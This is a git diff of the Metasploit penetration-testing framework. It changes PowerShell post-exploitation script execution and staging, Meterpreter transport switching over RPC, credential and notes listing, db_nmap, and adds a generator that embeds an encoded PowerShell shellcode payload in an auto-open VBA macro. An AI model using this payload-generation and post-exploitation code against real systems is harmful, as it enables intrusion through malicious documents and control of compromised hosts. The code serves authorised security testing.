fd.write(line) if fd + #vprint_status("\n#{line}") end # Close log file - fd.close() + # cmd_out.channel.close() + fd.close() if fd - return + return results + + # + # Incremental read method - NOT USED + # + # read_data = '' + # segment = 2**16 + # # Read incrementally smaller blocks after each failure/timeout + # while segment > 0 do + # begin + # read_data << ::Timeout.timeout(read_wait) { + # cmd_out.channel.read(segment) + # } + # rescue + # segment = segment/2 + # end + # end end # # Clean up powershell script including process and chunks stored in environment variables # - def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false) + def clean_up( + script_file = nil, + eof = '', + running_pids =[], + open_channels = [], + env_suffix = Rex::Text.rand_text_alpha(8), + delete = false + ) # Remove environment variables env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|" env_del_command += "Select-String #{env_suffix}|%{" env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}" - script = compress_script(env_del_command, eof) - cmd_out, running_pids, open_channels = *execute_script(script) - write_to_log(cmd_out, "/dev/null", eof) - # Kill running processes - running_pids.each() do |pid| - session.sys.process.kill(pid) + script = compress_script(env_del_command, eof) + cmd_out, new_running_pids, new_open_channels = execute_script(script) + get_ps_output(cmd_out, eof) + + # Kill running processes, should mutex this... + @session_pids = (@session_pids + running_pids + new_running_pids).uniq + (running_pids + new_running_pids).uniq.each do |pid| + begin + if session.sys.process.processes.map {|x|x['pid']}.include?(pid) + session.sys.process.kill(pid) + end + @session_pids.delete(pid) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Failed to kill #{pid} due to #{e}" + end end # Close open channels - open_channels.each() do |chan| - chan.channel.close() + (open_channels + new_open_channels).uniq.each do |chan| + chan.channel.close end ::File.delete(script_file) if (script_file and delete) @@ -236,8 +297,56 @@ module Powershell return end -end -end -end -end + # Simple script execution wrapper, performs all steps + # required to execute a string of powershell. + # This method will try to kill all powershell.exe PIDs + # which appeared during its execution, set greedy_kill + # to false if this is not desired. + # + def psh_exec(script, greedy_kill=true, ps_cleanup=true) + # Define vars + eof = Rex::Text.rand_text_alpha(8) + # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}" + env_suffix = Rex::Text.rand_text_alpha(8) + script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code) + # Check to ensure base64 encoding - regex format and content length division + unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 + script = encode_script(compress_script(script.to_s, eof),eof) + end + if datastore['Powershell::Post::dry_run'] + return "powershell -EncodedCommand #{script}" + else + # Check 8k cmd buffer limit, stage if needed + if (script.size > 8100) + vprint_error("Compressed size: #{script.size}") + error_msg = "Compressed size may cause command to exceed " + error_msg += "cmd.exe's 8kB character limit." + vprint_error(error_msg) + vprint_good('Launching stager:') + script = stage_cmd_env(script, env_suffix) + print_good("Payload successfully staged.") + else + print_good("Compressed size: #{script.size}") + end + vprint_good("Final command #{script}") + # Execute the script, get the output, and kill the resulting PIDs + cmd_out, running_pids, open_channels = execute_script(script, greedy_kill) + if datastore['Powershell::Post::timeout'].to_i < 0 + out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed" + # print_error out + return out + end + ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout']) + # Kill off the resulting processes if needed + if ps_cleanup + vprint_good( "Cleaning up #{running_pids.join(', ')}" ) + clean_up(nil, eof, running_pids, open_channels, env_suffix, false) + end + return ps_output + end + end +end +end +end +end diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index aca85738b4..d6b6e578fa 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -147,6 +147,14 @@ module Msf::Post::Windows::Priv end end + # + # Returns true if in a high integrity, or system, service + # + def is_high_integrity? + il = get_integrity_level + (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system]) + end + # # Returns the output of whoami /groups # diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 26ee1d7701..720e49dbef 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -170,7 +170,7 @@ protected elsif view == REGISTRY_VIEW_64_BIT cmd += " /reg:64" end - session.shell_command_token_win32("#{cmd} #{suffix}") + cmd_exec("#{cmd} #{suffix}") end def shell_registry_cmd_result(suffix, view = REGISTRY_VIEW_NATIVE) diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 59cb021e94..7f6074baca 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -182,6 +182,25 @@ module ShadowCopy return false end end + unless start_swprv + return false + end + return true + end + + def start_swprv + vss_state = wmic_query('Service where(name="swprv") get state') + if vss_state=~ /Running/ + print_status("Software Shadow Copy service is running.") + else + print_status("Software Shadow Copy service not running. Starting it now...") + if service_restart("swprv", START_TYPE_MANUAL) + print_good("Software Shadow Copy started successfully.") + else + print_error("Insufficient Privs to start service!") + return false + end + end return true end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb index a9db0fc3c5..580e0b3dca 100644 --- a/lib/msf/core/post/windows/wmic.rb +++ b/lib/msf/core/post/windows/wmic.rb @@ -7,6 +7,7 @@ module Windows module WMIC include Msf::Post::File + include Msf::Post::Windows::Priv include Msf::Post::Windows::ExtAPI def initialize(info = {}) @@ -32,13 +33,13 @@ module WMIC end end - if extapi + if extapi && !is_system? session.extapi.clipboard.set_text("") wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} #{query}" else - tmp = session.fs.file.expand_path("%TEMP%") + tmp = get_env('TEMP') out_file = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}" - wcmd = "wmic #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}" + wcmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}" end vprint_status("[#{server}] #{wcmd}") @@ -48,9 +49,9 @@ module WMIC session.railgun.kernel32.WaitForSingleObject(ps.handle, (datastore['TIMEOUT'] * 1000)) ps.close - if extapi + if extapi && !is_system? result = session.extapi.clipboard.get_data.first - if result[1].has_key? 'Text' + if result && result[1] && result[1].has_key?('Text') result_text = result[1]['Text'] else result_text = "" diff --git a/lib/msf/core/rpc/v10/rpc_job.rb b/lib/msf/core/rpc/v10/rpc_job.rb index 43b132f877..8624cb9af4 100644 --- a/lib/msf/core/rpc/v10/rpc_job.rb +++ b/lib/msf/core/rpc/v10/rpc_job.rb @@ -28,9 +28,10 @@ class RPC_Job < RPC_Base # @example Here's how you would use this from the client: # rpc.call('job.stop', 0) def rpc_stop(jid) - obj = self.framework.jobs[jid.to_s] + jid = jid.to_s + obj = self.framework.jobs[jid] error(500, "Invalid Job") if not obj - obj.stop + self.framework.jobs.stop_job(jid) { "result" => "success" } end diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index 21da5afbd4..6ac49faa65 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -395,6 +395,38 @@ class RPC_Session < RPC_Base rpc_meterpreter_run_single( sid, "run #{data}") end + # Changes the Transport of a given Meterpreter Session + # + # @param sid [Fixnum] The Session ID of the `Msf::Session` + # @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc) + # @option opts [String] :lhost The LHOST of the listener to use + # @option opts [String] :lport The LPORT of the listener to use + # @option opts [String] :ua The User Agent String to use for reverse_http(s) + # @option opts [String] :proxy_host The address of the proxy to route transport through + # @option opts [String] :proxy_port The port the proxy is listening on + # @option opts [String] :proxy_type The type of proxy to use + # @option opts [String] :proxy_user The username to authenticate to the proxy with + # @option opts [String] :proxy_pass The password to authenticate to the proxy with + # @option opts [String] :comm_timeout Connection timeout in seconds + # @option opts [String] :session_exp Session Expiration Timeout + # @option opts [String] :retry_total Total number of times to retry etsablishing the transport + # @option opts [String] :retry_wait The number of seconds to wait between retries + # @option opts [String] :cert Path to the SSL Cert to use for HTTPS + # @return [Boolean] whether the transport was changed successfully + def rpc_meterpreter_transport_change(sid,opts={}) + session = _valid_session(sid,"meterpreter") + real_opts = {} + opts.each_pair do |key, value| + real_opts[key.to_sym] = value + end + real_opts[:uuid] = session.payload_uuid + result = session.core.transport_change(real_opts) + if result == true + rpc_stop(sid) + end + result + end + # Returns the separator used by the meterpreter. # diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 25b786426b..3a84221c7a 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -225,22 +225,6 @@ module Session "session_#{name}" end - # - # This method logs the supplied buffer as coming from the remote side of - # the session. - # - def log_from_remote(buf) - rlog(buf, log_source) - end - - # - # This method logs the supplied buffer as coming from the local side of - # the session. - # - def log_from_local(buf) - rlog(buf, log_source) - end - ## # # Core interface diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index e07d71fa49..66dbb0af92 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -40,7 +40,6 @@ class Core "-l" => [ false, "List all active sessions" ], "-v" => [ false, "List verbose fields" ], "-q" => [ false, "Quiet mode" ], - "-d" => [ true, "Detach an interactive session" ], "-k" => [ true, "Terminate sessions by session ID and/or range" ], "-K" => [ false, "Terminate all sessions" ], "-s" => [ true, "Run a script on the session given with -i, or all"], @@ -94,6 +93,10 @@ class Core @@go_pro_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ]) + @@irb_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-e" => [ true, "Expression to evaluate." ]) + # The list of data store elements that cannot be set when in defanged # mode. DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] @@ -415,7 +418,7 @@ class Core avdwarn = nil banner_trailers = { - :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Metasploit::Framework::Core::GEM_VERSION} api:#{Metasploit::Framework::API::GEM_VERSION}]%clr", + :version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr", :exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post", :pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops", :free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp", @@ -759,8 +762,8 @@ class Core def cmd_irb_help print_line "Usage: irb" print_line - print_line "Drop into an interactive Ruby environment" - print_line + print_line "Execute commands in a Ruby environment" + print @@irb_opts.usage end # @@ -769,17 +772,34 @@ class Core def cmd_irb(*args) defanged? - print_status("Starting IRB shell...\n") + expressions = [] - begin - Rex::Ui::Text::IrbShell.new(binding).run - rescue - print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") + # Parse the command options + @@irb_opts.parse(args) do |opt, idx, val| + case opt + when '-e' + expressions << val + when '-h' + cmd_irb_help + return false + end end - # Reset tab completion - if (driver.input.supports_readline) - driver.input.reset_tab_completion + if expressions.empty? + print_status("Starting IRB shell...\n") + + begin + Rex::Ui::Text::IrbShell.new(binding).run + rescue + print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") + end + + # Reset tab completion + if (driver.input.supports_readline) + driver.input.reset_tab_completion + end + else + expressions.each { |expression| eval(expression, binding) } end end @@ -1679,9 +1699,6 @@ class Core sid = val || false when "-K" method = 'killall' - when "-d" - method = 'detach' - sid = val || false # Run a script on all meterpreter sessions when "-s" unless script @@ -1778,8 +1795,8 @@ class Core end ensure # Restore timeout for each session - if session.respond_to?(:response_timeout) - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout end end # If the session isn't a meterpreter or shell type, it @@ -1801,7 +1818,9 @@ class Core begin session.kill ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end else print_error("Invalid session identifier: #{sess_id}") @@ -1819,25 +1838,9 @@ class Core begin session.kill ensure - session.response_timeout = last_known_timeout if last_known_timeout - end - end - end - when 'detach' - print_status("Detaching the following session(s): #{session_list.join(', ')}") - session_list.each do |sess_id| - session = verify_session(sess_id) - # if session is interactive, it's detachable - if session - if session.respond_to?(:response_timeout) - last_known_timeout = session.response_timeout - session.response_timeout = response_timeout - end - print_status("Detaching session #{sess_id}") - begin - session.detach - ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end end @@ -1855,7 +1858,9 @@ class Core self.active_session = nil driver.input.reset_tab_completion if driver.input.supports_readline ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end when 'scriptall' @@ -1893,7 +1898,9 @@ class Core end end ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end else print_error("Invalid session identifier: #{sess_id}") @@ -1919,7 +1926,9 @@ class Core next end ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end @@ -1969,7 +1978,7 @@ class Core end case words[-1] - when "-i", "-k", "-d", "-u" + when "-i", "-k", "-u" return framework.sessions.keys.map { |k| k.to_s } when "-c" diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index e72ae5624e..1db20e3aee 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -14,10 +14,6 @@ class Db require 'tempfile' include Msf::Ui::Console::CommandDispatcher - - # TODO: Not thrilled about including this entire module for just store_local. - include Msf::Auxiliary::Report - include Metasploit::Credential::Creation # @@ -93,6 +89,7 @@ class Db print_line " workspace [name] Switch workspace" print_line " workspace -a [name] ... Add workspace(s)" print_line " workspace -d [name] ... Delete workspace(s)" + print_line " workspace -D Delete all workspaces" print_line " workspace -r Rename workspace" print_line " workspace -h Show this help information" print_line @@ -110,6 +107,8 @@ class Db adding = true when '-d','--del' deleting = true + when '-D','--delete-all' + delete_all = true when '-r','--rename' renaming = true else @@ -127,28 +126,9 @@ class Db end framework.db.workspace = workspace elsif deleting and names - switched = false - # Delete workspaces - names.each do |name| - workspace = framework.db.find_workspace(name) - if workspace.nil? - print_error("Workspace not found: #{name}") - elsif workspace.default? - workspace.destroy - workspace = framework.db.add_workspace(name) - print_status("Deleted and recreated the default workspace") - else - # switch to the default workspace if we're about to delete the current one - if framework.db.workspace.name == workspace.name - framework.db.workspace = framework.db.default_workspace - switched = true - end - # now destroy the named workspace - workspace.destroy - print_status("Deleted workspace: #{name}") - end - end - print_status("Switched workspace: #{framework.db.workspace.name}") if switched + delete_workspaces(names) + elsif delete_all + delete_workspaces(framework.db.workspaces.map(&:name)) elsif renaming if names.length != 2 print_error("Wrong number of arguments to rename") @@ -206,6 +186,31 @@ class Db } end + def delete_workspaces(names) + switched = false + # Delete workspaces + names.each do |name| + workspace = framework.db.find_workspace(name) + if workspace.nil? + print_error("Workspace not found: #{name}") + elsif workspace.default? + workspace.destroy + workspace = framework.db.add_workspace(name) + print_status("Deleted and recreated the default workspace") + else + # switch to the default workspace if we're about to delete the current one + if framework.db.workspace.name == workspace.name + framework.db.workspace = framework.db.default_workspace + switched = true + end + # now destroy the named workspace + workspace.destroy + print_status("Deleted workspace: #{name}") + end + end + print_status("Switched workspace: #{framework.db.workspace.name}") if switched + end + def cmd_workspace_tabs(str, words) return [] unless active? framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty? @@ -841,6 +846,7 @@ class Db print_line " -s List creds matching comma-separated service names" print_line " -u,--user List users that match this regex" print_line " -t,--type List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -O,--origins List creds that match these origins" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line @@ -929,15 +935,16 @@ class Db end def creds_search(*args) - host_ranges = [] - port_ranges = [] - svcs = [] - rhosts = [] + host_ranges = [] + origin_ranges = [] + port_ranges = [] + svcs = [] + rhosts = [] set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ] user = nil delete_count = 0 @@ -983,6 +990,13 @@ class Db mode = :delete when '-R', '--rhosts' set_rhosts = true + when '-O', '--origins' + hosts = args.shift + if !hosts + print_error("Argument required for -O") + return + end + arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -1062,11 +1076,22 @@ class Db next end - if core.logins.empty? + origin = '' + if core.origin.kind_of?(Metasploit::Credential::Origin::Service) + origin = core.origin.service.host.address + elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session) + origin = core.origin.session.host.address + end + if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) } + next + end + + if core.logins.empty? && origin_ranges.empty? tbl << [ "", # host - "", # port + "", # cred + "", # service core.public, core.private, core.realm, @@ -1074,7 +1099,6 @@ class Db ] else core.logins.each do |login| - # If none of this Core's associated Logins is for a host within # the user-supplied RangeWalker, then we don't have any reason to # print it out. However, we treat the absence of ranges as meaning @@ -1082,7 +1106,9 @@ class Db if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } next end + row = [ login.service.host.address ] + row << origin rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" @@ -1180,6 +1206,7 @@ class Db print_line " -h,--help Show this help information" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Regular expression to match for search" + print_line " -o,--output Save the notes to a csv file" print_line " --sort Fields to sort by (case sensitive)" print_line print_line "Examples:" @@ -1200,6 +1227,7 @@ class Db host_ranges = [] rhosts = [] search_term = nil + out_file = nil while (arg = args.shift) case arg @@ -1226,6 +1254,8 @@ class Db search_term = /#{args.shift}/nmi when '--sort' sort_term = args.shift + when '-o', '--output' + out_file = args.shift when '-h','--help' cmd_notes_help return @@ -1235,7 +1265,6 @@ class Db return end end - end if mode == :add @@ -1312,12 +1341,21 @@ class Db end # Now display them + csv_table = Rex::Ui::Text::Table.new( + 'Header' => 'Notes', + 'Indent' => 1, + 'Columns' => ['Time', 'Host', 'Service', 'Port', 'Protocol', 'Type', 'Data'] + ) + note_list.each do |note| next if(types and types.index(note.ntype).nil?) + csv_note = [] msg = "Time: #{note.created_at} Note:" + csv_note << note.created_at if out_file if (note.host) host = note.host msg << " host=#{note.host.address}" + csv_note << note.host.address if out_file if set_rhosts addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr @@ -1325,17 +1363,37 @@ class Db end if (note.service) msg << " service=#{note.service.name}" if note.service.name + csv_note << note.service.name || '' if out_file msg << " port=#{note.service.port}" if note.service.port + csv_note << note.service.port || '' if out_file msg << " protocol=#{note.service.proto}" if note.service.proto + csv_note << note.service.proto || '' if out_file + else + if out_file + csv_note << '' # For the Service field + csv_note << '' # For the Port field + csv_note << '' # For the Protocol field + end end msg << " type=#{note.ntype} data=#{note.data.inspect}" + if out_file + csv_note << note.ntype + csv_note << note.data.inspect + end print_status(msg) + if out_file + csv_table << csv_note + end if mode == :delete note.destroy delete_count += 1 end end + if out_file + save_csv_notes(out_file, csv_table) + end + # Finally, handle the case where the user wants the resulting list # of hosts to go into RHOSTS. set_rhosts_from_addrs(rhosts.uniq) if set_rhosts @@ -1344,6 +1402,17 @@ class Db } end + def save_csv_notes(fpath, csv_table) + begin + File.open(fpath, 'wb') do |f| + f.write(csv_table.to_csv) + end + print_status("Notes saved as #{fpath}") + rescue Errno::EACCES => e + print_error("Unable to save notes. #{e.message}") + end + end + def make_sortable(input) case input when String @@ -1752,15 +1821,14 @@ class Db return unless active? ::ActiveRecord::Base.connection_pool.with_connection { if (args.length == 0) - print_status("Usage: db_nmap [nmap options]") + print_status("Usage: db_nmap [--save | [--help | -h]] [nmap options]") return end - save = false arguments = [] while (arg = args.shift) case arg - when 'save' - save = active? + when '--save' + save = true when '--help', '-h' cmd_db_nmap_help return @@ -1778,55 +1846,47 @@ class Db return end - fd = Tempfile.new('dbnmap') - fd.binmode - - fo = Tempfile.new('dbnmap') - fo.binmode - - # When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path - if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/) - # Custom function needed because cygpath breaks on 8.3 dirs - tout = Rex::Compat.cygwin_to_win32(fd.path) - fout = Rex::Compat.cygwin_to_win32(fo.path) - arguments.push('-oX', tout) - arguments.push('-oN', fout) - else - arguments.push('-oX', fd.path) - arguments.push('-oN', fo.path) - end + fd = Rex::Quickfile.new(['msf-db-nmap-', '.xml'], Msf::Config.local_directory) begin - nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments) - temp_nmap_threads = [] - temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| - np_1.each_line do |nmap_out| - next if nmap_out.strip.empty? - print_status("Nmap: #{nmap_out.strip}") - end + # When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path + if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/) + # Custom function needed because cygpath breaks on 8.3 dirs + tout = Rex::Compat.cygwin_to_win32(fd.path) + arguments.push('-oX', tout) + else + arguments.push('-oX', fd.path) end - temp_nmap_threads << framework.threads.spawn("db_nmap-Stderr", false, nmap_pipe[2]) do |np_2| - np_2.each_line do |nmap_err| - next if nmap_err.strip.empty? - print_status("Nmap: '#{nmap_err.strip}'") + begin + nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments) + temp_nmap_threads = [] + temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| + np_1.each_line do |nmap_out| + next if nmap_out.strip.empty? + print_status("Nmap: #{nmap_out.strip}") + end end + + temp_nmap_threads << framework.threads.spawn("db_nmap-Stderr", false, nmap_pipe[2]) do |np_2| + np_2.each_line do |nmap_err| + next if nmap_err.strip.empty? + print_status("Nmap: '#{nmap_err.strip}'") + end + end + + temp_nmap_threads.map {|t| t.join rescue nil} + nmap_pipe.each {|p| p.close rescue nil} + rescue ::IOError end - temp_nmap_threads.map {|t| t.join rescue nil} - nmap_pipe.each {|p| p.close rescue nil} - rescue ::IOError - end + framework.db.import_nmap_xml_file(:filename => fd.path) - fo.close(true) - framework.db.import_nmap_xml_file(:filename => fd.path) - - if save - fd.rewind - saved_path = report_store_local("nmap.scan.xml", "text/xml", fd.read, "nmap_#{Time.now.utc.to_i}") - print_status("Saved NMAP XML results to #{saved_path}") + print_status("Saved NMAP XML results to #{fd.path}") if save + ensure + fd.close + fd.unlink unless save end - fd.close(true) } end @@ -1869,13 +1929,6 @@ class Db tabs end - # - # Store some locally-generated data as a file, similiar to store_loot. - # - def report_store_local(ltype=nil, ctype=nil, data=nil, filename=nil) - store_local(ltype,ctype,data,filename) - end - # # Database management # diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 922d3c384c..914e0a787e 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver unless configuration_pathname.nil? if configuration_pathname.readable? - dbinfo = YAML.load_file(configuration_pathname) + dbinfo = YAML.load_file(configuration_pathname) || {} dbenv = opts['DatabaseEnv'] || Rails.env db = dbinfo[dbenv] else @@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver # framework.db.active will be true if after_establish_connection ran directly when connection_established? was # already true or if framework.db.connect called after_establish_connection. - if framework.db.active - unless opts['DeferModuleLoads'] - self.framework.modules.refresh_cache_from_database - - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end - end - elsif !framework.db.error.nil? + if !! framework.db.error if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i print_error("***") print_error("*") @@ -217,12 +209,15 @@ class Driver < Msf::Ui::Driver # Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false unless opts['Framework'] || opts['DeferModuleLoads'] # Configure the framework module paths - self.framework.init_module_paths - self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath'] + self.framework.init_module_paths(module_paths: opts['ModulePath']) + end - # Rebuild the module cache in a background thread - self.framework.threads.spawn("ModuleCacheRebuild", true) do - self.framework.modules.refresh_cache_from_module_files + if framework.db.active && !opts['DeferModuleLoads'] + if self.framework.modules.cache_empty? + self.framework.threads.spawn("ModuleCacheRebuild", true) do + self.framework.modules.refresh_cache_from_module_files + end + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") end end @@ -547,7 +542,7 @@ class Driver < Msf::Ui::Driver if $msf_spinner_thread $msf_spinner_thread.kill - $stderr.print "\n" + $stderr.print "\r" + (" " * 50) + "\n" end run_single("banner") unless opts['DisableBanner'] @@ -571,6 +566,8 @@ class Driver < Msf::Ui::Driver if (framework and framework.payloads.valid?(val) == false) return false + elsif active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) + return false elsif (active_module) active_module.datastore.clear_non_user_defined elsif (framework) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 54f143445e..7d6ea6e274 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -671,7 +671,7 @@ require 'msf/core/exe/segment_appender' msi = self.get_file_contents(template) - section_size = 2**(msi[30..31].unpack('v')[0]) + section_size = 2**(msi[30..31].unpack('v')[0]) # This table is one of the few cases where signed values are needed sector_allocation_table = msi[section_size..section_size*2].unpack('l<*') @@ -978,24 +978,24 @@ require 'msf/core/exe/segment_appender' def self.to_vba(framework,code,opts = {}) hash_sub = {} - hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray]) @@ -1003,21 +1003,48 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_mem.vba.template", hash_sub) end + def self.to_powershell_vba(framework, arch, code) + template_path = File.join(Msf::Config.data_directory, + "templates", + "scripts") + + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + remove_comspec: true, + method: 'reflection') + + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:sub_auto_open) + rig.init_var(:var_powershell) + + hash_sub = rig.to_h + # VBA has a maximum of 24 line continuations + line_length = powershell.length / 24 + vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"' + + hash_sub[:powershell] = vba_psh + + read_replace_script_template("to_powershell.vba.template", hash_sub) + end + def self.to_exe_vbs(exes = '', opts = {}) delay = opts[:delay] || 5 persist = opts[:persist] 